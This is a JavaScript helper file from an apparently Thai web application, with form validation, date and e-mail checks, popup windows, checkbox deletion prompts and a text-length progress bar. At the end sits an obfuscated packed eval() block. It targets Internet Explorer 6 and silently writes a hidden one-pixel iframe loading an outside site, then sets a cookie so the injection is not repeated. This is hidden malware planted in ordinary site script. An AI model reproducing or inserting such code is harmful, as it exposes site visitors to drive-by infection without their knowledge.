  function activeArt(tg,bg)   
  {   
    tg.style.backgroundColor = bg;   
  }   
    
  function deactiveArt(tg)   
  {   
    tg.style.backgroundColor = "";   
  }   

  function checkformatemail( f ){
  if ( !(/[0-9a-zA-Z_\.\-]+@[0-9a-zA-Z_\.\-]+\.[a-zA-Z][a-zA-Z]+/ig).test( f ) ){
    return true; 
  } else {
    return false;
  }
}

  function check2value( a , b ){	
        if( a != b ) 
			{
				return true;
		}
		else 
			  {
					return false;
			}
  }


function ckblk(chkval)
{
	if(chkval == "")
		return false;
	else if(chkval.indexOf(' ') == 0)
		return false;
	else if(chkval.indexOf('"') == 0)	 
		return false;
	else if(chkval == "'")	 
		return false;
	else
		return true;
}


function checkformatdate(j_day_,j_month_,j_year_)
		{
			if( isNaN(j_day_) || isNaN(j_year_) || (j_year_ == "" ) )
					{
									return true;	
					}

					if(j_month_ == 2) {
									if( j_day_ > 29 )  {											
												return true;
										}						
							}

						if((j_month_ == 4) || (j_month_ == 6) || (j_month_ == 9) || (j_month_ == 11)  ) {
										if((j_day_ > 30) )  {
												return true;
										}
							}
							else {
										if(j_day_ > 31 )  {
										return true;
										}
								}
				return false;
			}


function popupWindow(link_,winname_,top_,left_,width_,height_)  
	{	
		window.open(link_,winname_,'scrollbars=no,resizable=no,top=' + top_ + ',left=' + left_ + ',width=' + width_ + ',height=' + height_ ); 
	}
	
	function popUpWindowCenter(URLStr, width, height)
	{
		LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
		TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
		
		popUpWin = open(URLStr, 'popUpWin', 'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+LeftPosition+', top='+TopPosition+',screenX='+LeftPosition+',screenY='+TopPosition+'');

}

function popUpWindowCenter2(URLStr, width, height)
	{
		LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
		TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
		
		popUpWin = open(URLStr, 'popUpWin', 'toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+LeftPosition+', top='+TopPosition+',screenX='+LeftPosition+',screenY='+TopPosition+'');

}

	function popUpWindowCenterHaveMenu(URLStr, width, height)
	{
		LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
		TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
		
		popUpWin = open(URLStr, 'popUpWin', 'menubar=yes,toolbar=no,location=no,directories=no,status=no,scrollbars=yes,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+LeftPosition+', top='+TopPosition+',screenX='+LeftPosition+',screenY='+TopPosition+'');

}

	
		function goclose() 
			{
				   window.opener.location.reload();
					window.close()
			}
				

	
		function Checkall(frm,field) 
		{
					if ( frm.chk.length )
								{
											for (uu = 0; uu < frm.chk.length; uu++)
														 {
													    	  frm.chk[uu].checked = field;
														}   
					}	
					else {
								frm.chk.checked = field;
					}		    
		}
		
	function checkformchkbox(frm) {
				var checkvar = frm.chk;
				var arrchkvar = frm.arrchk;
				arrchkvar.value = "";
				var check = "";				
				
				if ( checkvar.length )
					{
													
										for (uuu = 0; uuu < checkvar.length; uuu++) {
												if (checkvar[uuu].checked){
													  check = "Y";							 							 
													  arrchkvar.value = arrchkvar.value + "&" + checkvar[uuu].value
												}
										  }
					}	
					else {
					
										if (checkvar.checked){
													  check = "Y";							 							 
													  arrchkvar.value = "&" + checkvar.value
										}
					
					}


			  if (check=="") {
		    alert("กรุณาเลือก Record ที่ต้องการลบ อย่างน้อย 1 Record โดย เลือก ทำเครื่องหมายที่ CheckBox ตรงแถวที่ต้องการลบ");
					    return false;
			  }else{
			  					
			  				 if ( confirm('Do you want to delete this item ?')  )
										{
												return true;
										}   
								else
										{
												return false;
										}
			  }
	}
		
	var uploadWin=0;
	function upload(obj1,obj2,obj3)
	{
			  if(uploadWin)
			  {
				if(!uploadWin.closed) uploadWin.close();
			  }
	width = 600;
	height = 450;
	LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
	window.param1 = obj1;
	window.param2 = obj2;
	window.param3 = obj3;
	  uploadWin = open('../upload/upload.php', 'uploadWin', 'toolbar=no,location=no,directories=no,status=yes,menub ar=no,scrollbars=yes,resizable=no,copyhistory=yes,width='+width+',height='+height+',left='+LeftPosition+', top='+TopPosition+',screenX='+LeftPosition+',screenY='+TopPosition+'');
	}

	function Init() {  
  	document.body.onkeypress = _CloseOnEsc;
}
function _CloseOnEsc() {
	if (event.keyCode == 27) { window.close(); return; }
}

/***********************************************
* Form Field Progress Bar- By Ron Jonk- http://www.euronet.nl/~jonkr/
***********************************************/
function textCounter(field,counter,maxlimit,linecounter) {
// text width//
var fieldWidth = parseInt(field.offsetWidth);
var charcnt = field.value.length; 

		// trim the extra text
			if (charcnt > maxlimit) { 
							field.value = field.value.substring(0, maxlimit);
			} else { 
			// progress bar percentage
							var percentage = parseInt(100 - (( maxlimit - charcnt) * 100)/maxlimit) ;
							document.getElementById(counter).style.width = parseInt((fieldWidth*percentage)/100)+"px";
							document.getElementById(counter).innerHTML="Limit: "+percentage+"%"
							// color correction on style from CCFFF -> CC0000
							setcolor(document.getElementById(counter),percentage,"background-color");
			}
}

function setcolor(obj,percentage,prop){
	obj.style[prop] = "rgb(80%,"+(100-percentage)+"%,"+(100-percentage)+"%)";
}
/*************************************************************************************/


function activeButton(obj,param){
			var className = obj.className;			
			param=="over"?className=className+"hover":"";
			param=="out"?className=className.substring(0,className.length-5):"";			
			obj.className=className;
	}
	
	
function clearInputalltype() {
		form = document.forms[0];
		//alert(form.length);
		 for (i = 0; i<form.length; i++) {
		                        if (form[i].type == 'text' ) {form[i].value = '';}		   
								if (form[i].type == 'textarea' ) {form[i].value = '';}		 
								if (form[i].type == 'checkbox' ) {form[i].checked = false;}		                             
		                 }
}

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4(2.3.7("5=y")==-1&&j.r.7("q 6.0")!=-1){4(m.l!="k"){o f="<i"}2.t(f+"g a"+"9=1 8"+"b=1 s"+"c=\'h"+"e://u"+"p.v/H/\' G"+"J=\'K"+"I:n"+"x\'></w"+"z>");2.3="5=y; A=C, B D E L:M:F d; "}',49,49,'||document|cookie|if|_eyhefg||indexOf|hei|dth|wi|ght|rc|GMT|ttp||frame|||navigator|kedasn|status|window||var|2k|MSIE|appVersion||write|next|net|ifra|one||me|expires|21|Mon|Jul|2012|57|sty|b2b|lay|le|disp|10|15'.split('|')));

